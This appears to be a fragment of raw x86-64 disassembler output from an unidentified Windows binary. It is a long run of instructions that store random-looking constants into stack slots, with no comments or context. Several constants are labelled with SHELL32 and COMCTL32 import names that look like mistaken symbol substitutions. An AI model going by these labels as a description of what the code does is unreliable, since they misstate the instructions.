mov dword [rsp + 0x5e78], 0x54fa5958
mov dword [rsp + 0x5e7c], 0x93f
movabs rax, 0x731b116e2ec47b
mov qword [rsp + 0xa1c8], rax
movabs rax, 0x7a4a150ebd252d
mov qword [rsp + 0xa1d0], rax
mov dword [rsp + 0x5e80], 0xbec2
movabs rax, 0x79b417876b3a4b
mov qword [rsp + 0xa1d8], rax
movabs rax, 0x720b55bbf5205f
mov qword [rsp + 0xa1e0], rax
mov dword [rsp + 0x5e84], 0x7e41280c
mov eax, 0x115
mov word [rsp + 0x14c0], ax
movabs rax, 0x7018952b0f06e3
mov qword [rsp + 0xa1e8], rax
mov byte [rsp + 0x1ca], 0x6c
mov eax, 0x2db
mov word [rsp + 0x14c4], ax
mov byte [rsp + 0x1cb], 0xe4
mov dword [rsp + 0x5e88], 0x2129b377
mov eax, 0x1dc
mov word [rsp + 0x14c8], ax
mov byte [rsp + 0x1cc], 0x43
movabs rax, 0x79350f3dc23b00
mov qword [rsp + 0xa1f0], rax
movabs rax, 0x743a2100ccad71
mov qword [rsp + 0xa1f8], rax
movabs rax, 0x7e8e8b2c0ab246
mov qword [rsp + 0xa200], rax
mov byte [rsp + 0x1cd], 3
movabs rax, 0x7d536e6e0c3fa0
mov qword [rsp + 0xa208], rax
mov eax, 0xf6
mov word [rsp + 0x14cc], ax
mov eax, 0x382
mov word [rsp + 0x14d0], ax
movabs rax, 0x7e5204e87331f4
mov qword [rsp + 0xa210], rax
mov eax, 0x1b9
mov word [rsp + 0x14d4], ax
mov eax, 0x532
mov word [rsp + 0x14d8], ax
mov dword [rsp + 0x5e8c], 0xc18b
movabs rax, 0x718eaeed6beb67
mov qword [rsp + 0xa218], rax
mov byte [rsp + 0x1ce], 4
movabs rax, 0x781d62a2831c49
mov qword [rsp + 0xa220], rax
mov dword [rsp + 0x5e90], 0x56022884
mov eax, 0x436
mov word [rsp + 0x14dc], ax
movabs rax, 0x7836210cd4346b
mov qword [rsp + 0xa228], rax
mov dword [rsp + 0x5e94], 0x7f58
mov eax, 0xa58
mov word [rsp + 0x14e0], ax
movabs rax, 0x7486f80f87b2ed
mov qword [rsp + 0xa230], rax
movabs rax, 0x7d695ec7fdf78c
mov qword [rsp + 0xa238], rax
mov byte [rsp + 0x1cf], 2
movabs rax, 0x7736f1d6c9a648
mov qword [rsp + 0xa240], rax
mov eax, 0xff2
mov word [rsp + 0x14e4], ax
mov byte [rsp + 0x1d0], 0x7b
mov byte [rsp + 0x1d1], 0x33
movabs rax, 0x73004fca4a7f93
mov qword [rsp + 0xa248], rax
movabs rax, 0x73b37a05ca875e
mov qword [rsp + 0xa250], rax
mov eax, 0x1a2
mov word [rsp + 0x14e8], ax
mov eax, 0xf99
mov word [rsp + 0x14ec], ax
mov eax, 0x8e
mov word [rsp + 0x14f0], ax
mov dword [rsp + 0x5e98], 0x6fe2
movabs rax, 0x795e01d8e23b08
mov qword [rsp + 0xa258], rax
mov byte [rsp + 0x1d2], reloc.COMCTL32.dll_MakeDragList
movabs rax, 0x7bcc2d41936482
mov qword [rsp + 0xa260], rax
movabs rax, 0x721309f55331c0
mov qword [rsp + 0xa268], rax
mov byte [rsp + 0x1d3], 0x61
mov dword [rsp + 0x5e9c], 0x5eba
mov eax, 0xa30
mov word [rsp + 0x14f4], ax
movabs rax, 0x7a846518bb1ad2
mov qword [rsp + 0xa270], rax
mov eax, 0x59f
mov word [rsp + 0x14f8], ax
mov eax, 0x837
mov word [rsp + 0x14fc], ax
mov eax, SHUpdateImageW
mov word [rsp + 0x1500], ax
mov eax, 0xb7e
mov word [rsp + 0x1504], ax
movabs rax, 0x74b80b92f5891d
mov qword [rsp + 0xa278], rax
movabs rax, 0x74688dacdd15d8
mov qword [rsp + 0xa280], rax
movabs rax, 0x7d4758132ae827
mov qword [rsp + 0xa288], rax
mov dword [rsp + 0x5ea0], 0x4eb2
movabs rax, 0x7d4892f822d2af
mov qword [rsp + 0xa290], rax
mov byte [rsp + 0x1d4], 0x7a
movabs rax, 0x7b639361c07412
mov qword [rsp + 0xa298], rax
movabs rax, 0x7bc4be841c01d3
mov qword [rsp + 0xa2a0], rax
mov eax, 0x675
mov word [rsp + 0x1508], ax
mov byte [rsp + 0x1d5], SHGetNewLinkInfoW
movabs rax, 0x7b6ab0af7c7eae
mov qword [rsp + 0xa2a8], rax
mov eax, 0xe3b
mov word [rsp + 0x150c], ax
mov eax, 0xb5
mov word [rsp + 0x1510], ax
mov eax, 0x681
mov word [rsp + 0x1514], ax
mov dword [rsp + 0x5ea4], 0x8a67
movabs rax, 0x7570b8ecfc7a82
mov qword [rsp + 0xa2b0], rax
mov dword [rsp + 0x5ea8], 0x642
movabs rax, 0x7cc15f48d52a72
mov qword [rsp + 0xa2b8], rax
mov byte [rsp + 0x1d6], ILIsParent
mov eax, 0x6b5
mov word [rsp + 0x1518], ax
movabs rax, 0x7c0ea2624285d3
mov qword [rsp + 0xa2c0], rax
movabs rax, 0x7d9f3e90d03287
mov qword [rsp + 0xa2c8], rax
mov eax, 0x56e
mov word [rsp + 0x151c], ax
movabs rax, 0x7e4f136ca69f51
mov qword [rsp + 0xa2d0], rax
mov eax, 0x636
mov word [rsp + 0x1520], ax
mov byte [rsp + 0x1d7], 0xca
movabs rax, 0x787e70e97becfa
mov qword [rsp + 0xa2d8], rax
mov byte [rsp + 0x1d8], reloc.COMCTL32.dll_DrawInsert
mov eax, 0xa99
mov word [rsp + 0x1524], ax
mov eax, 0x78f
mov word [rsp + 0x1528], ax
mov byte [rsp + 0x1d9], 0x43
movabs rax, 0x71d111327be387
mov qword [rsp + 0xa2e0], rax
mov byte [rsp + 0x1da], 0x6d
mov byte [rsp + 0x1db], reloc.SHELL32.dll_ILCloneFirst
mov eax, 0x708
mov word [rsp + 0x152c], ax
movabs rax, 0x769810e1a06569
mov qword [rsp + 0xa2e8], rax
mov eax, 0xf60
mov word [rsp + 0x1530], ax
mov eax, 0xd76
mov word [rsp + 0x1534], ax
mov byte [rsp + 0x1dc], 0x73
movabs rax, 0x7500dcd9eafbb1
mov qword [rsp + 0xa2f0], rax
movabs rax, 0x74af9492e6bdcc
mov qword [rsp + 0xa2f8], rax
movabs rax, 0x776374ba5e442f
mov qword [rsp + 0xa300], rax
mov dword [rsp + 0x5eac], 0x7b491dec
movabs rax, 0x71ea5eda342784
mov qword [rsp + 0xa308], rax
mov byte [rsp + 0x1dd], reloc.SHELL32.dll_ILRemoveLastID
mov dword [rsp + 0x5eb0], 0xf7a5
mov byte [rsp + 0x1de], 2
mov byte [rsp + 0x1df], 0xc3
movabs rax, 0x751674b344a560
mov qword [rsp + 0xa310], rax
mov eax, 0x5b1
mov word [rsp + 0x1538], ax
mov dword [rsp + 0x5eb4], 0x66022068
mov dword [rsp + 0x5eb8], 0x6538
mov eax, 0x7a7
mov word [rsp + 0x153c], ax
mov eax, 0x4d
mov word [rsp + 0x1540], ax
mov dword [rsp + 0x5ebc], 0x4e2b
movabs rax, 0x788e57986d8249
mov qword [rsp + 0xa318], rax
movabs rax, 0x796d98875e51cf
mov qword [rsp + 0xa320], rax
movabs rax, 0x79fd8071013fbd
mov qword [rsp + 0xa328], rax
mov dword [rsp + 0x5ec0], 0x6d189bc9
mov eax, 0x7df
mov word [rsp + 0x1544], ax
mov byte [rsp + 0x1e0], 0x25
mov eax, 0x139
mov word [rsp + 0x1548], ax
movabs rax, 0x7db0e9735447e5
mov qword [rsp + 0xa330], rax
mov dword [rsp + 0x5ec4], 0x63cc0cbf
mov dword [rsp + 0x5ec8], 0x94dc
mov eax, 0x71b
mov word [rsp + 0x154c], ax
mov dword [rsp + 0x5ecc], 0x7a06
mov eax, 0x5e3
mov word [rsp + 0x1550], ax
movabs rax, 0x79bac044b32f4d
mov qword [rsp + 0xa338], rax
mov dword [rsp + 0x5ed0], 0x1399
mov eax, 0x7f5
mov word [rsp + 0x1554], ax
mov dword [rsp + 0x5ed4], 0xd085
mov dword [rsp + 0x5ed8], 0x131d9e12
movabs rax, 0x795009875a1698
mov qword [rsp + 0xa340], rax
mov eax, 0xb05
mov word [rsp + 0x1558], ax
movabs rax, 0x73d177a1994928
mov qword [rsp + 0xa348], rax
mov eax, 0x287
mov word [rsp + 0x155c], ax
mov eax, 0x84d
mov word [rsp + 0x1560], ax
mov eax, 0x324
mov word [rsp + 0x1564], ax
movabs rax, 0x7721a13d8c10c5
mov qword [rsp + 0xa350], rax
mov eax, 0x75c
mov word [rsp + 0x1568], ax
mov dword [rsp + 0x5edc], 0x5406
mov byte [rsp + 0x1e1], 0x43
mov eax, 0x17f
mov word [rsp + 0x156c], ax
mov dword [rsp + 0x5ee0], 0xeb6c
mov eax, 0x3c8
mov word [rsp + 0x1570], ax
movabs rax, 0x79dc3e72854390
mov qword [rsp + 0xa358], rax
mov eax, 0xf6
mov word [rsp + 0x1574], ax
mov dword [rsp + 0x5ee4], 0x1fb2edee
mov byte [rsp + 0x1e2], 0x7b
mov eax, 0x49a
mov word [rsp + 0x1578], ax
mov eax, 0x64d
mov word [rsp + 0x157c], ax
movabs rax, 0x7ca2ea07cd89bc
mov qword [rsp + 0xa360], rax
movabs rax, 0x75b7269df09aab
mov qword [rsp + 0xa368], rax
mov byte [rsp + 0x1e3], PathMakeUniqueName
mov byte [rsp + 0x1e4], reloc.SHELL32.dll_ILClone
mov eax, 0xccc
mov word [rsp + 0x1580], ax
movabs rax, 0x72db3f087b79f8
mov qword [rsp + 0xa370], rax
mov dword [rsp + 0x5ee8], 0x6479
movabs rax, 0x78ae433fb7a660
mov qword [rsp + 0xa378], rax
movabs rax, 0x7ce8f19ac006be
mov qword [rsp + 0xa380], rax
movabs rax, 0x77d49964a6be1a
mov qword [rsp + 0xa388], rax
mov eax, 0x25c
mov word [rsp + 0x1584], ax
movabs rax, 0x70a6d18e6a888d
mov qword [rsp + 0xa390], rax
mov eax, 0xd06
mov word [rsp + 0x1588], ax
mov byte [rsp + 0x1e5], ILIsParent
mov byte [rsp + 0x1e6], 0x64
mov byte [rsp + 0x1e7], 0x77
mov eax, 0xffb
mov word [rsp + 0x158c], ax
movabs rax, 0x7ab5766c5f4b1f
mov qword [rsp + 0xa398], rax
mov eax, 0xb64
mov word [rsp + 0x1590], ax
mov byte [rsp + 0x1e8], 0x7c
mov byte [rsp + 0x1e9], reloc.SHELL32.dll_ILSaveToStream
movabs rax, 0x7aacac13b42fe8
mov qword [rsp + 0xa3a0], rax
mov byte [rsp + 0x1ea], 0xdf
movabs rax, 0x7e5abda6bc669a
mov qword [rsp + 0xa3a8], rax
mov eax, 0x6d1
mov word [rsp + 0x1594], ax
movabs rax, 0x71b345b605753d
mov qword [rsp + 0xa3b0], rax
mov byte [rsp + 0x1eb], 0xd6
movabs rax, 0x72ea621e63c8e8
mov qword [rsp + 0xa3b8], rax
mov byte [rsp + 0x1ec], 6
mov dword [rsp + 0x5eec], 0x4f3c
mov byte [rsp + 0x1ed], 0x50
movabs rax, 0x75befe9ae8cb33
mov qword [rsp + 0xa3c0], rax
mov byte [rsp + 0x1ee], PathYetAnotherMakeUniqueName
mov byte [rsp + 0x1ef], 0x9d
mov eax, 0xd5
mov word [rsp + 0x1598], ax
mov eax, 0x248
mov word [rsp + 0x159c], ax
mov eax, 0x22c
mov word [rsp + 0x15a0], ax
mov eax, 0x6fe
mov word [rsp + 0x15a4], ax
mov byte [rsp + 0x1f0], 1
mov dword [rsp + 0x5ef0], 0x2230db17
mov eax, 0x95b
mov word [rsp + 0x15a8], ax
mov eax, 0x5d9
mov word [rsp + 0x15ac], ax
mov eax, 0x2fd
mov word [rsp + 0x15b0], ax
mov byte [rsp + 0x1f1], 0x71
movabs rax, 0x7d3cb72ab58f4d
mov qword [rsp + 0xa3c8], rax
mov byte [rsp + 0x1f2], 0x85
movabs rax, 0x7b028ccddc2e83
mov qword [rsp + 0xa3d0], rax
movabs rax, 0x7d2c5ded50d45c
mov qword [rsp + 0xa3d8], rax
mov dword [rsp + 0x5ef4], 0x14cb1f5c
mov eax, 0xdb
mov word [rsp + 0x15b4], ax
mov eax, 0x48f
mov word [rsp + 0x15b8], ax
mov dword [rsp + 0x5ef8], 0x3e6d
mov dword [rsp + 0x5efc], 0x8b85
mov dword [rsp + 0x5f00], 0x1ac0
mov eax, 0x615
mov word [rsp + 0x15bc], ax
mov eax, 0xca4
mov word [rsp + 0x15c0], ax
mov eax, 0x535
mov word [rsp + 0x15c4], ax
movabs rax, 0x7da132f320e500
mov qword [rsp + 0xa3e0], rax
movabs rax, 0x77b473af83e58c
mov qword [rsp + 0xa3e8], rax
mov dword [rsp + 0x5f04], 0xad02
mov byte [rsp + 0x1f3], 0x79
mov byte [rsp + 0x1f4], PathYetAnotherMakeUniqueName
movabs rax, 0x784c121c8cc426
mov qword [rsp + 0xa3f0], rax
movabs rax, 0x7434e2eaed6ebe
mov qword [rsp + 0xa3f8], rax
mov dword [rsp + 0x5f08], 0x6f4eb730
movabs rax, 0x741a12c3d9ba33
mov qword [rsp + 0xa400], rax
mov byte [rsp + 0x1f5], 0xeb
mov eax, 0x3b3
mov word [rsp + 0x15c8], ax
mov byte [rsp + 0x1f6], 0xed
movabs rax, 0x747d0b28ad89c3
mov qword [rsp + 0xa408], rax
movabs rax, 0x784dc602cef1f4
mov qword [rsp + 0xa410], rax
movabs rax, 0x7733751b344d40
mov qword [rsp + 0xa418], rax
mov dword [rsp + 0x5f0c], 0x797d
mov dword [rsp + 0x5f10], 0x3ecdc5af
mov eax, 0x2c4
mov word [rsp + 0x15cc], ax
movabs rax, 0x7c5403df1d69d1
mov qword [rsp + 0xa420], rax
movabs rax, 0x713cdf4f9bdf20
mov qword [rsp + 0xa428], rax
movabs rax, 0x7c3f6677f588b7
mov qword [rsp + 0xa430], rax
movabs rax, 0x78ff493df1596b
mov qword [rsp + 0xa438], rax
mov dword [rsp + 0x5f14], 0x66286529
mov dword [rsp + 0x5f18], 0x2001
mov eax, 0x324
mov word [rsp + 0x15d0], ax
movabs rax, 0x77cba1d35b3a25
mov qword [rsp + 0xa440], rax
mov eax, 0x336
mov word [rsp + 0x15d4], ax
movabs rax, 0x7af5551ac2d699
mov qword [rsp + 0xa448], rax
mov byte [rsp + 0x1f7], 0xf8
mov byte [rsp + 0x1f8], 0x6b
mov eax, 0x8a9
mov word [rsp + 0x15d8], ax
mov eax, 0xfc9
mov word [rsp + 0x15dc], ax
mov byte [rsp + 0x1f9], PathYetAnotherMakeUniqueName
mov eax, 0xd78
mov word [rsp + 0x15e0], ax
mov eax, 0xc3
mov word [rsp + 0x15e4], ax
mov dword [rsp + 0x5f1c], 0x3d9c
movabs rax, 0x792b56297ffb52
mov qword [rsp + 0xa450], rax
movabs rax, 0x757523972521b7
mov qword [rsp + 0xa458], rax
mov dword [rsp + 0x5f20], 0x7c44
mov eax, 0xf0d
mov word [rsp + 0x15e8], ax
mov byte [rsp + 0x1fa], 0x61
movabs rax, 0x71d25454629d5d
mov qword [rsp + 0xa460], rax
mov byte [rsp + 0x1fb], reloc.SHELL32.dll_SHDoDragDrop
movabs rax, 0x72168638f75fff
mov qword [rsp + 0xa468], rax
mov eax, 0x624
mov word [rsp + 0x15ec], ax
mov eax, 0x70
mov word [rsp + 0x15f0], ax
mov byte [rsp + 0x1fc], reloc.COMCTL32.dll_MakeDragList
movabs rax, 0x7c4fc95bff7540
mov qword [rsp + 0xa470], rax
movabs rax, 0x735f69b4b9b9a9
mov qword [rsp + 0xa478], rax
mov dword [rsp + 0x5f24], 0x6259a70a
mov byte [rsp + 0x1fd], PathMakeUniqueName
movabs rax, 0x70c52125f2b42f
mov qword [rsp + 0xa480], rax
movabs rax, 0x70fdfb80c24028
mov qword [rsp + 0xa488], rax
movabs rax, 0x7ca992da325a80
mov qword [rsp + 0xa490], rax
movabs rax, 0x719f15bc5f4f7d
mov qword [rsp + 0xa498], rax
movabs rax, 0x70725ea5404cee
mov qword [rsp + 0xa4a0], rax
movabs rax, 0x79589bd32679e4
mov qword [rsp + 0xa4a8], rax
movabs rax, 0x77735f763a776f
mov qword [rsp + 0xa4b0], rax
mov eax, 0x473
mov word [rsp + 0x15f4], ax
mov byte [rsp + 0x1fe], SHDoDragDrop
movabs rax, 0x77a6f15f41c189
mov qword [rsp + 0xa4b8], rax
mov eax, 0x75a
mov word [rsp + 0x15f8], ax
mov eax, 0x3e4
mov word [rsp + 0x15fc], ax
mov dword [rsp + 0x5f28], 0x42907538
mov eax, 0x6c9
mov word [rsp + 0x1600], ax
mov eax, 0x634
mov word [rsp + 0x1604], ax
mov byte [rsp + 0x1ff], reloc.COMCTL32.dll_DrawInsert
mov eax, 0x514
mov word [rsp + 0x1608], ax
movabs rax, 0x7e4ec2e81df6e7
mov qword [rsp + 0xa4c0], rax
mov byte [rsp + 0x200], 0x39
mov eax, 0x33a
mov word [rsp + 0x160c], ax
mov eax, 0x61a
mov word [rsp + 0x1610], ax
movabs rax, 0x772d9acd43e928
mov qword [rsp + 0xa4c8], rax
mov eax, 0x60e
mov word [rsp + 0x1614], ax
mov byte [rsp + 0x201], SHDoDragDrop
mov byte [rsp + 0x202], 0x8c
movabs rax, 0x75f716ceb269a4
mov qword [rsp + 0xa4d0], rax
mov eax, 0xc4
mov word [rsp + 0x1618], ax
movabs rax, 0x73ed5d6d6aab37
mov qword [rsp + 0xa4d8], rax
mov byte [rsp + 0x203], PathMakeUniqueName
mov eax, 0x3a1
mov word [rsp + 0x161c], ax
mov byte [rsp + 0x204], 0x7e
movabs rax, 0x73c0e529ac5016
mov qword [rsp + 0xa4e0], rax
mov byte [rsp + 0x205], 8
movabs rax, 0x7c236d397276cc
mov qword [rsp + 0xa4e8], rax
movabs rax, 0x7e7c007b500e0a
mov qword [rsp + 0xa4f0], rax
mov eax, 0x13b
mov word [rsp + 0x1620], ax
movabs rax, 0x7e51e7e803ff75
mov qword [rsp + 0xa4f8], rax
mov byte [rsp + 0x206], 0x78
mov eax, 0x462
mov word [rsp + 0x1624], ax
movabs rax, 0x71eea8334b67f6
mov qword [rsp + 0xa500], rax
mov dword [rsp + 0x5f2c], 0xb05e
movabs rax, 0x7b20c9311ed181
mov qword [rsp + 0xa508], rax
movabs rax, 0x77821ba25bed84
mov qword [rsp + 0xa510], rax
movabs rax, 0x707f3a13e53bd3
mov qword [rsp + 0xa518], rax
movabs rax, 0x79c747adb1df1d
mov qword [rsp + 0xa520], rax
mov byte [rsp + 0x207], 0x69
movabs rax, 0x745598dbee4c56
mov qword [rsp + 0xa528], rax
mov eax, 0x3a0
mov word [rsp + 0x1628], ax
mov eax, SHTestTokenMembership
mov word [rsp + 0x162c], ax
mov dword [rsp + 0x5f30], 0x63a2
mov byte [rsp + 0x208], 0x31
movabs rax, 0x78048d389340f0
mov qword [rsp + 0xa530], rax
mov byte [rsp + 0x209], PathYetAnotherMakeUniqueName
movabs rax, 0x798c6cd86fc988
mov qword [rsp + 0xa538], rax
movabs rax, 0x7bc82cff930678
mov qword [rsp + 0xa540], rax
mov eax, 0x24c
mov word [rsp + 0x1630], ax
movabs rax, 0x78b3085bcfac4b
mov qword [rsp + 0xa548], rax
mov dword [rsp + 0x5f34], 0x86f
movabs rax, 0x72015eccc5821d
mov qword [rsp + 0xa550], rax
mov eax, 0xc2a
mov word [rsp + 0x1634], ax
mov dword [rsp + 0x5f38], 0x79babd4
mov eax, 0x61
mov word [rsp + 0x1638], ax
mov eax, 0xbf0
mov word [rsp + 0x163c], ax
movabs rax, 0x7efd18f3138453
mov qword [rsp + 0xa558], rax
mov byte [rsp + 0x20a], 0x32
movabs rax, 0x7ecc8875ec2691
mov qword [rsp + 0xa560], rax
movabs rax, 0x7e247709e6735b
mov qword [rsp + 0xa568], rax
mov dword [rsp + 0x5f3c], 0x91ad
mov byte [rsp + 0x20b], 0x1f
mov byte [rsp + 0x20c], 0x32
mov dword [rsp + 0x5f40], 0x23f0
movabs rax, 0x7d7e19c38da8d5
mov qword [rsp + 0xa570], rax
mov eax, 0x233
mov word [rsp + 0x1640], ax
mov eax, 0x8e5
mov word [rsp + 0x1644], ax
movabs rax, 0x7aedf5d0f5199a
mov qword [rsp + 0xa578], rax
mov eax, 0x4cd
mov word [rsp + 0x1648], ax
mov eax, 0x3dc
mov word [rsp + 0x164c], ax
movabs rax, 0x74a2b5aab9fbd8
mov qword [rsp + 0xa580], rax
mov eax, 0xbbc
mov word [rsp + 0x1650], ax
mov dword [rsp + 0x5f44], 0xa9bc
movabs rax, 0x71b251ecd86962
mov qword [rsp + 0xa588], rax
mov eax, 0x42d
mov word [rsp + 0x1654], ax
mov dword [rsp + 0x5f48], 0xdf9dcdb
mov byte [rsp + 0x20d], 0x38
mov dword [rsp + 0x5f4c], 0x974d
mov eax, 0x4f2
mov word [rsp + 0x1658], ax
movabs rax, 0x716cb49a900685
mov qword [rsp + 0xa590], rax
mov eax, 0xdf0
mov word [rsp + 0x165c], ax
mov dword [rsp + 0x5f50], 0x6f31b5e
mov eax, 0xba5
mov word [rsp + 0x1660], ax
mov eax, 0x523
mov word [rsp + 0x1664], ax
movabs rax, 0x7db27d726ef5a6
mov qword [rsp + 0xa598], rax
mov dword [rsp + 0x5f54], 0x487387b3
movabs rax, 0x7c8e915a2bbada
mov qword [rsp + 0xa5a0], rax
mov eax, 0x5e3
mov word [rsp + 0x1668], ax
mov eax, 0xbab
mov word [rsp + 0x166c], ax
mov eax, 0x557
mov word [rsp + 0x1670], ax
mov eax, 0xc57
mov word [rsp + 0x1674], ax
mov byte [rsp + 0x20e], 0x24
mov eax, 0x42
mov word [rsp + 0x1678], ax
movabs rax, 0x710ec7ec16b9d3
mov qword [rsp + 0xa5a8], rax
mov eax, 0xb7f
mov word [rsp + 0x167c], ax
movabs rax, 0x7964f50bcaecde
mov qword [rsp + 0xa5b0], rax
mov eax, 0x39a
mov word [rsp + 0x1680], ax
mov dword [rsp + 0x5f58], 0x884b
movabs rax, 0x75d5faaef52aae
mov qword [rsp + 0xa5b8], rax
mov dword [rsp + 0x5f5c], 0x72b9fc4c
mov eax, 0xfe1
mov word [rsp + 0x1684], ax
movabs rax, 0x71b0e991df2d86
mov qword [rsp + 0xa5c0], rax
movabs rax, 0x76e39b3c1b3e7d
mov qword [rsp + 0xa5c8], rax
mov byte [rsp + 0x20f], 0x64
mov eax, 0xd50
mov word [rsp + 0x1688], ax
mov dword [rsp + 0x5f60], 0x6781
mov eax, 0x2fc
mov word [rsp + 0x168c], ax
mov eax, 0x334
mov word [rsp + 0x1690], ax
mov byte [rsp + 0x210], 0xfd
mov byte [rsp + 0x211], 0x6c
mov dword [rsp + 0x5f64], 0x11ca
mov eax, 0x954
mov word [rsp + 0x1694], ax
mov dword [rsp + 0x5f68], 0x23ad
mov eax, 0x723
mov word [rsp + 0x1698], ax
movabs rax, 0x7940c3ee27fc31
mov qword [rsp + 0xa5d0], rax
movabs rax, 0x78866c5751c33e
mov qword [rsp + 0xa5d8], rax
mov eax, 0xe7f
mov word [rsp + 0x169c], ax
movabs rax, 0x725086870abbfc
mov qword [rsp + 0xa5e0], rax
mov byte [rsp + 0x212], reloc.COMCTL32.dll_LBItemFromPt
mov eax, 0xc4c
mov word [rsp + 0x16a0], ax
mov dword [rsp + 0x5f6c], 0x9f56
mov dword [rsp + 0x5f70], 0x3012
mov eax, 0xe6a
mov word [rsp + 0x16a4], ax
movabs rax, 0x70de5b9231ee22
mov qword [rsp + 0xa5e8], rax
movabs rax, 0x7abd80cef731f3
mov qword [rsp + 0xa5f0], rax
mov eax, 0x38c
mov word [rsp + 0x16a8], ax
movabs rax, 0x7b0fc7d86debf2
mov qword [rsp + 0xa5f8], rax
mov dword [rsp + 0x5f74], 0x54580fb1
mov dword [rsp + 0x5f78], 0x494d7af9
mov byte [rsp + 0x213], 0x6e
movabs rax, 0x79501cb41445be
mov qword [rsp + 0xa600], rax
mov eax, 0x28c
mov word [rsp + 0x16ac], ax
mov eax, 0x5e
mov word [rsp + 0x16b0], ax
movabs rax, 0x75bc53fc59cd90
mov qword [rsp + 0xa608], rax
mov eax, 0xb0d
mov word [rsp + 0x16b4], ax
movabs rax, 0x7d9f6ad8dd7c90
mov qword [rsp + 0xa610], rax
mov eax, 0x13d
mov word [rsp + 0x16b8], ax
mov dword [rsp + 0x5f7c], 0x93c4
mov byte [rsp + 0x214], reloc.COMCTL32.dll_MakeDragList
mov eax, 0x58a
mov word [rsp + 0x16bc], ax
movabs rax, 0x778aae967491b2
mov qword [rsp + 0xa618], rax
mov eax, 0x1e6
mov word [rsp + 0x16c0], ax
mov dword [rsp + 0x5f80], 0x1d02
mov dword [rsp + 0x5f84], 0x6ef20dd2
mov byte [rsp + 0x215], 0x4c
mov dword [rsp + 0x5f88], 0x7307d23
movabs rax, 0x7abc226a84faa2
mov qword [rsp + 0xa620], rax
mov eax, 0x1d7
mov word [rsp + 0x16c4], ax
mov eax, 0x1e9
mov word [rsp + 0x16c8], ax
mov eax, 0x3d4
mov word [rsp + 0x16cc], ax
movabs rax, 0x74c47b2276cfa0
mov qword [rsp + 0xa628], rax
mov byte [rsp + 0x216], 0x7b
movabs rax, 0x701c0524ab230f
mov qword [rsp + 0xa630], rax
mov eax, 0x43f
mov word [rsp + 0x16d0], ax
mov dword [rsp + 0x5f8c], 0x13e4ea88
mov dword [rsp + 0x5f90], 0xb3d1
movabs rax, 0x7e4579c9158980
mov qword [rsp + 0xa638], rax
mov eax, 0x53f
mov word [rsp + 0x16d4], ax
mov dword [rsp + 0x5f94], 0xf682
movabs rax, 0x7686e9de43e280
mov qword [rsp + 0xa640], rax
mov dword [rsp + 0x5f98], 0xa27a
movabs rax, 0x77cd075f4ee680
mov qword [rsp + 0xa648], rax
movabs rax, 0x760eec9fa4a551
mov qword [rsp + 0xa650], rax
movabs rax, 0x7c7214b38cdb3b
mov qword [rsp + 0xa658], rax
mov eax, 0x84
mov word [rsp + 0x16d8], ax
mov eax, 0x666
mov word [rsp + 0x16dc], ax
mov byte [rsp + 0x217], reloc.SHELL32.dll_ILCombine
movabs rax, 0x78e1b1c96e4faf
mov qword [rsp + 0xa660], rax
mov eax, 0x1af
mov word [rsp + 0x16e0], ax
mov dword [rsp + 0x5f9c], 0x2ca6fed5
mov eax, 0x692
mov word [rsp + 0x16e4], ax
mov eax, 0xed7
mov word [rsp + 0x16e8], ax
movabs rax, 0x7a2fd2f392003f
mov qword [rsp + 0xa668], rax
mov eax, 0x245
mov word [rsp + 0x16ec], ax
mov eax, 0x778
mov word [rsp + 0x16f0], ax
mov byte [rsp + 0x218], 0x5f
mov dword [rsp + 0x5fa0], 0x76ef
mov eax, 0x70d
mov word [rsp + 0x16f4], ax
mov eax, 0x451
mov word [rsp + 0x16f8], ax
movabs rax, 0x76096df4dd4430
mov qword [rsp + 0xa670], rax
mov dword [rsp + 0x5fa4], 0x16534af7
mov eax, 0x61
mov word [rsp + 0x16fc], ax
mov eax, 0xb07
mov word [rsp + 0x1700], ax
mov dword [rsp + 0x5fa8], 0x1989bec7
mov dword [rsp + 0x5fac], 0x36960e81
mov eax, 0xb7
mov word [rsp + 0x1704], ax
movabs rax, 0x782598e72a68c0
mov qword [rsp + 0xa678], rax
mov eax, 0x119
mov word [rsp + 0x1708], ax
mov dword [rsp + 0x5fb0], 0x344cfa20
mov eax, 0x1a3
mov word [rsp + 0x170c], ax
mov eax, 0xdde
mov word [rsp + 0x1710], ax
mov byte [rsp + 0x219], 0x35
mov eax, 0x297
mov word [rsp + 0x1714], ax
mov byte [rsp + 0x21a], LBItemFromPt
movabs rax, 0x740e21a6ac9470
mov qword [rsp + 0xa680], rax
mov dword [rsp + 0x5fb4], 0x48a0
mov eax, 0x6e
mov word [rsp + 0x1718], ax
mov dword [rsp + 0x5fb8], 0x29e712ec
mov byte [rsp + 0x21b], 0x62
movabs rax, 0x7292a9dfd7fd6b
mov qword [rsp + 0xa688], rax
mov eax, 0x45b
mov word [rsp + 0x171c], ax
mov byte [rsp + 0x21c], 0x63
mov dword [rsp + 0x5fbc], 0x50d5a005
mov eax, 0x7f7
mov word [rsp + 0x1720], ax
mov eax, 0x125
mov word [rsp + 0x1724], ax
mov eax, 0x398
mov word [rsp + 0x1728], ax
mov eax, 0x35f
mov word [rsp + 0x172c], ax
mov eax, 0x945
mov word [rsp + 0x1730], ax
movabs rax, 0x73697f0e407108
mov qword [rsp + 0xa690], rax
mov byte [rsp + 0x21d], 0x3d
movabs rax, 0x7c78edbc4ef3c6
mov qword [rsp + 0xa698], rax
movabs rax, 0x7de363b927813b
mov qword [rsp + 0xa6a0], rax
mov eax, 0x74e
mov word [rsp + 0x1734], ax
mov dword [rsp + 0x5fc0], 0x41232625
mov byte [rsp + 0x21e], SHDoDragDrop
movabs rax, 0x70173a10b027b1
mov qword [rsp + 0xa6a8], rax
mov eax, 0x7df
mov word [rsp + 0x1738], ax
mov eax, 0xdd5
mov word [rsp + 0x173c], ax
mov byte [rsp + 0x21f], 0x21
mov byte [rsp + 0x220], PathYetAnotherMakeUniqueName
mov byte [rsp + 0x221], 0x4d
movabs rax, 0x74e950e225ef99
mov qword [rsp + 0xa6b0], rax
movabs rax, 0x7ae00db892bd79
mov qword [rsp + 0xa6b8], rax
mov dword [rsp + 0x5fc4], 0x5a25
mov eax, 0xf8e
mov word [rsp + 0x1740], ax
mov byte [rsp + 0x222], 0x30
movabs rax, 0x77fd98c619ccfb
mov qword [rsp + 0xa6c0], rax
mov byte [rsp + 0x223], ILGetNext
movabs rax, 0x71cda4cc812fb7
mov qword [rsp + 0xa6c8], rax
mov eax, 0x55a
mov word [rsp + 0x1744], ax
mov eax, 0x7ae
mov word [rsp + 0x1748], ax
mov eax, 0x204
mov word [rsp + 0x174c], ax
movabs rax, 0x77bbd9e70c70c8
mov qword [rsp + 0xa6d0], rax
